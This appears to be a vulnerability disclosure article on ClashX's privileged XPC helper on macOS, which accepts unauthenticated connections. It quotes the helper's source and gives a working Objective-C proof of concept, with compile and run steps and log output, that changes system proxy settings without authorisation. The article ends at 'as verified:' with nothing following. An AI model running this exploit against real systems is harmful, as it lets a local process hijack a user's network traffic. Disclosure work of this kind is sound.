This article was first published on the tttang Community.
What is XPC?
- XPC is a form of IPC (Inter-Process Communication) based on Mach messaging.
- XPC components are integrated into the application itself.
- These components are packaged as bundles.
- Managed by the system daemon
launchd
, these services are started on demand, shut down when idle, and restarted after a crash. - Third-party global XPC applications typically appear as
PrivilegedHelperTool
. These tools allow applications requiring root-level actions to install helper tools that execute privileged operations on their behalf, avoiding the need to elevate privileges repeatedly.
In ClashX
ClashX has a PrivilegedHelperTool
XPC service: com.west2online.ClashX.ProxyConfigHelper
.
In the ProxyConfigHelper.m
file, the process lacks client authentication during connection, enabling customization of the connection process:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
// if (![self connectionIsVaild:newConnection]) {
// return NO;
// }
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(ProxyConfigRemoteProcessProtocol)];
newConnection.exportedObject = self;
__weak NSXPCConnection *weakConnection = newConnection;
__weak ProxyConfigHelper *weakSelf = self;
newConnection.invalidationHandler = ^{
[weakSelf.connections removeObject:weakConnection];
if (weakSelf.connections.count == 0) {
weakSelf.shouldQuit = YES;
}
};
[self.connections addObject:newConnection];
[newConnection resume];
return YES;
}
From ProxyConfigRemoteProcessProtocol.h
, we can see the XPC service provides the following methods:
@import Foundation;
typedef void(^stringReplyBlock)(NSString *);
typedef void(^boolReplyBlock)(BOOL);
typedef void(^dictReplyBlock)(NSDictionary *);
@protocol ProxyConfigRemoteProcessProtocol <NSObject>
@required
- (void)getVersion:(stringReplyBlock)reply;
- (void)enableProxyWithPort:(int)port
socksPort:(int)socksPort
pac:(NSString *)pac
filterInterface:(BOOL)filterInterface
ignoreList:(NSArray<NSString *>*)ignoreList
error:(stringReplyBlock)reply;
- (void)disableProxyWithFilterInterface:(BOOL)filterInterface
reply:(stringReplyBlock)reply;
- (void)restoreProxyWithCurrentPort:(int)port
socksPort:(int)socksPort
info:(NSDictionary *)dict
filterInterface:(BOOL)filterInterface
error:(stringReplyBlock)reply;
- (void)getCurrentProxySetting:(dictReplyBlock)reply;
@end
Examining enableProxyWithPort
The function iterates through network devices to configure proxy settings:
- (void)enableProxyWithport:(int)port socksPort:(int)socksPort
pacUrl:(NSString *)pacUrl
filterInterface:(BOOL)filterInterface
ignoreList:(NSArray<NSString *>*)ignoreList {
[self applySCNetworkSettingWithRef:^(SCPreferencesRef ref) {
[ProxySettingTool getDiviceListWithPrefRef:ref filterInterface:filterInterface devices:^(NSString *key, NSDictionary *dict) {
[self enableProxySettings:ref interface:key port:port socksPort:socksPort ignoreList:ignoreList pac:pacUrl];
}];
}];
}
...
+ (void)getDiviceListWithPrefRef:(SCPreferencesRef)ref
filterInterface:(BOOL)filterInterface
devices:(void(^)(NSString *, NSDictionary *))callback {
NSDictionary *sets = (__bridge NSDictionary *)SCPreferencesGetValue(ref, kSCPrefNetworkServices);
for (NSString *key in [sets allKeys]) {
NSMutableDictionary *dict = [sets objectForKey:key];
NSString *hardware = [dict valueForKeyPath:@"Interface.Hardware"];
if (!filterInterface || [hardware isEqualToString:@"AirPort"]
|| [hardware isEqualToString:@"Wi-Fi"]
|| [hardware isEqualToString:@"Ethernet"]
) {
callback(key,dict);
}
}
}
...
- (NSDictionary *)getProxySetting:(BOOL)enable port:(int) port
socksPort: (int)socksPort pac:(NSString *)pac
ignoreList:(NSArray<NSString *>*)ignoreList {
NSMutableDictionary *proxySettings = [NSMutableDictionary dictionary];
NSString *ip = enable ? @"127.0.0.1" : @"";
NSInteger enableInt = enable ? 1 : 0;
NSInteger enablePac = [pac length] > 0;
In the getProxySetting
function, the line NSString *ip = enable ? @"127.0.0.1" : @"";
restricts the IP to 127.0.0.1
. However, this does not prevent malicious local addresses from being set as system proxies.
Proof of Concept
-
Write
poc.m
:#import <Foundation/Foundation.h> static NSString *XPCHelperMachServiceName = @"com.west2online.ClashX.ProxyConfigHelper"; typedef void (^stringReplyBlock)(NSString *); typedef void (^boolReplyBlock)(BOOL); typedef void (^dictReplyBlock)(NSDictionary *); @protocol HelperToolProtocol <NSObject> @required - (void)getVersion:(stringReplyBlock)reply; - (void)enableProxyWithPort:(int)port socksPort:(int)socksPort pac:(NSString *)pac filterInterface:(BOOL)filterInterface ignoreList:(NSArray<NSString *> *)ignoreList error:(stringReplyBlock)reply; - (void)disableProxyWithFilterInterface:(BOOL)filterInterface reply:(stringReplyBlock)reply; - (void)restoreProxyWithCurrentPort:(int)port socksPort:(int)socksPort info:(NSDictionary *)dict filterInterface:(BOOL)filterInterface error:(stringReplyBlock)reply; - (void)getCurrentProxySetting:(dictReplyBlock)reply; @end int main(void) { OSStatus err; NSString *service_name = XPCHelperMachServiceName; NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000]; NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)]; [connection setRemoteObjectInterface:interface]; [connection resume]; id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error) { NSLog(@"[-] Error: %@", error); }]; NSLog(@"[+] obj: %@ conn: %@", obj, connection); [obj enableProxyWithPort:3333 socksPort:7777 pac:NULL filterInterface:YES ignoreList:NULL error:^(NSString *error) { NSLog(@"Error: %@", error); }]; NSLog(@"[+] Done"); }
-
Compile
poc.m
:$ clang -framework Foundation poc.m -o poc
-
Execute:
./poc 2023-05-26 13:34:45.313 poc[13498:214914] [+] obj: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x15c0044f0> conn: <NSXPCConnection: 0x15b60c4d0> connection to service named com.west2online.ClashX.ProxyConfigHelper 2023-05-26 13:34:45.313 poc[13498:214914] [+] Done
System proxy settings are successfully modified, as verified: